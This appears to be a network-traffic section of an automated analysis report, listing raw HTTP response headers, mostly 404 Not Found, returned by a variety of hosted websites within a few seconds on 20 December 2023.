Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038414.3131651360205562382Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:34 GMTX-Served-By: cache-dfw-kdfw8210132-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqe0L1PnLg6FLWqrGNmqNwAa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalq/opwH/6/oT1kZXhDyGQxt3vu//UuWCv/0tsMeoz9K6EpKKUOcNHpK3TM1rJJ5Tlw==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:34 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: ApacheX-Powered-By: PHP/7.0Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:37 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesExpires: Wed, 20 Dec 2023 02:13:42 GMTAge: 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:37 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038417.3841654737572619276Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:37 GMTX-Served-By: cache-dfw-kdfw8210139-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLm+RUUxFrhyTYE58WvxHjkkcm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRalhQnp3AnoaBL5aYYhX4usf2y2rv9nfBCisdo0l0qkYhKMdqyjlW4bTUd/vHGV/XDaA==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:37 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 4Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:32 GMTEtag: W/"6489318175bdb8a8994fb802892e57ee"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BRc9ftKjJoS+NjMyYzBmNGVkZDNkMWRmZDI3OWQwYTM4NTA2NDNi;Secure;Path=/Strict-Transport-Security: max-age=0Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: IGDe7MlJ/ks6Rnf0UConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038417.6201655778387932665Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:37 GMTX-Served-By: cache-dfw-kdfw8210112-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalh9SeLIPsxiyFFqZQP3hiC3HUc+ryXLjmG/jGZ/5hOd6206gXp3PXJZe6lvXhqbl0A==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038417.7211650890726215056Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:37 GMTX-Served-By: cache-dfw-kdfw8210139-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:37 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038417.8051651360205672382Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:37 GMTX-Served-By: cache-dfw-kdfw8210171-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqe0L1PnLg6FLWqrGNmqNwAa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 4Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:33 GMTEtag: W/"d3b928bd5836fb6282df4e5a69977809"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=Bdr0Lw/0val5MDllNzU4NGU4NjZjYjFkOGVkNjk3Mjg4OWNkN2Vi;Secure;Path=/Strict-Transport-Security: max-age=15552000Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: cKBBMniK/L9wuMbcaX-Frame-Options: SAMEORIGINX-Frame-Options: SAMEORIGINConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=015bd023dec9c28ada863fcf7653777a; expires=Wed, 20-Dec-2023 03:13:38 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:49 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038418.09516548292277230598Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:38 GMTX-Served-By: cache-dfw-kdfw8210026-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLvRKfhx2uNN4hv3eFGgKFZEa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalgdktGQgNmt2mDw78E21pvsIZ7BrAm3E9MRd2eb41A5be/QkHg89F/wEdJNu+hnHLQ==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn47.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 20 Dec 2023 02:13:38 GMTCache-Control: public, max-age=31536000access-control-allow-origin: access-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-headers: Content-Typecontent-security-policy-report-only: default-src 'self' .a8b.costrict-transport-security: max-age=31536000; includeSubDomainsreferrer-policy: strict-origin-when-cross-originpermissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self)x-frame-options: SAMEORIGINx-content-type-options: nosniffVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 eca8616127916fa339e7718294322b64.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MIA3-C4X-Amz-Cf-Id: UbTTl1Za9-0w0--ItxtUTFZdDBYEGUxbj4m8wxs3ACbl5HtWmWV_lQ==
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingSet-Cookie: PHPSESSID=820c03ac0641d830d7d62785874a08bc; path=/Pragma: no-cacheSet-Cookie: aiovg_rand_seed=2571994163; expires=Thu, 21-Dec-2023 02:13:38 GMT; Max-Age=86400; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:38 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:38 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: ApacheX-Powered-By: PHP/7.0Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845e02fe390996-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 34x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-9q2p2x-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: af0a4a60-bfc5-4e9d-ae66-7d37503e4f12X-HubSpot-NotFound: truex-request-id: af0a4a60-bfc5-4e9d-ae66-7d37503e4f12X-Trace: 2B61398763C851206A597958C44E38982366D3AA50000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4BqHJ4hBFh6SKjASdkDtowmnmdBWACJ4hnXKIAGDj%2BCqSAYXgz1b9Kz5U1xyKj2d%2FkWevXmKS%2BBVl76cgnmgUZLvBHar9VqohyrHVe%2BISFlO3GTMFHj4Ix715PsXrWjGHy89JwuJn2vjhIJRbW4%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845e03180db3c8-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 50x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhmx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 31e16f31-990f-43d1-bd7c-e4f7e2fe4e35X-HubSpot-NotFound: truex-request-id: 31e16f31-990f-43d1-bd7c-e4f7e2fe4e35X-Trace: 2BFE25F4B1C5666F72B767245B478976A5243307D7000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t5gBJUqloeFvTrXnqS1Lem1PCoW%2BSuPq4p4h7wMw5tVB9ikvTauGwn0H7aorIHccg9UVKLH7punu2WA9OM2eVwWajd6ey7GYOC7h7iTg1xgalzMZNwDWGckFLZwFgBsEqyUsFqQioU2AphyKHi0%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=ddf24e4f35a024d9f5f3b3f7192a20f0; expires=Wed, 20-Dec-2023 03:13:38 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:48 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn105.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=tkssg4tic2hek61lv9fl4fl3f6; path=/Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038419.3261655779706232668Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:39 GMTAge: 1X-Served-By: cache-dfw-kdfw8210122-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nLVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:39 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038419.5181657351050212110Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:39 GMTAge: 1X-Served-By: cache-dfw-kdfw8210021-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLk1Uxi5aVwrmRyfWZ8T7SgAMbwluI1yUDJty9McxOlfY,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nLVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:40 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038420.00216549370207832690Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:40 GMTAge: 2X-Served-By: cache-dfw-kdfw8210152-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLquxVSF9nMFA2iLo/JtJR4Qa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRaloR37yBwto27sHfVedTe4LpzFcK7e5XwSbSU8vWThqRqtswLYe5cSsXSAIMfjvKcQg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nLVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:40 GMTEtag: W/"6489318175bdb8a8994fb802892e57ee"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BT8uRUtc0C98M2M5NjJmZjg2ZTFlYWY3Y2M0Zjk3NTk5NjRlNjFh;Secure;Path=/Strict-Transport-Security: max-age=0Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: DXb0zFOQ/bM9MgJWMConnection: closeTransfer-Encoding: chunked
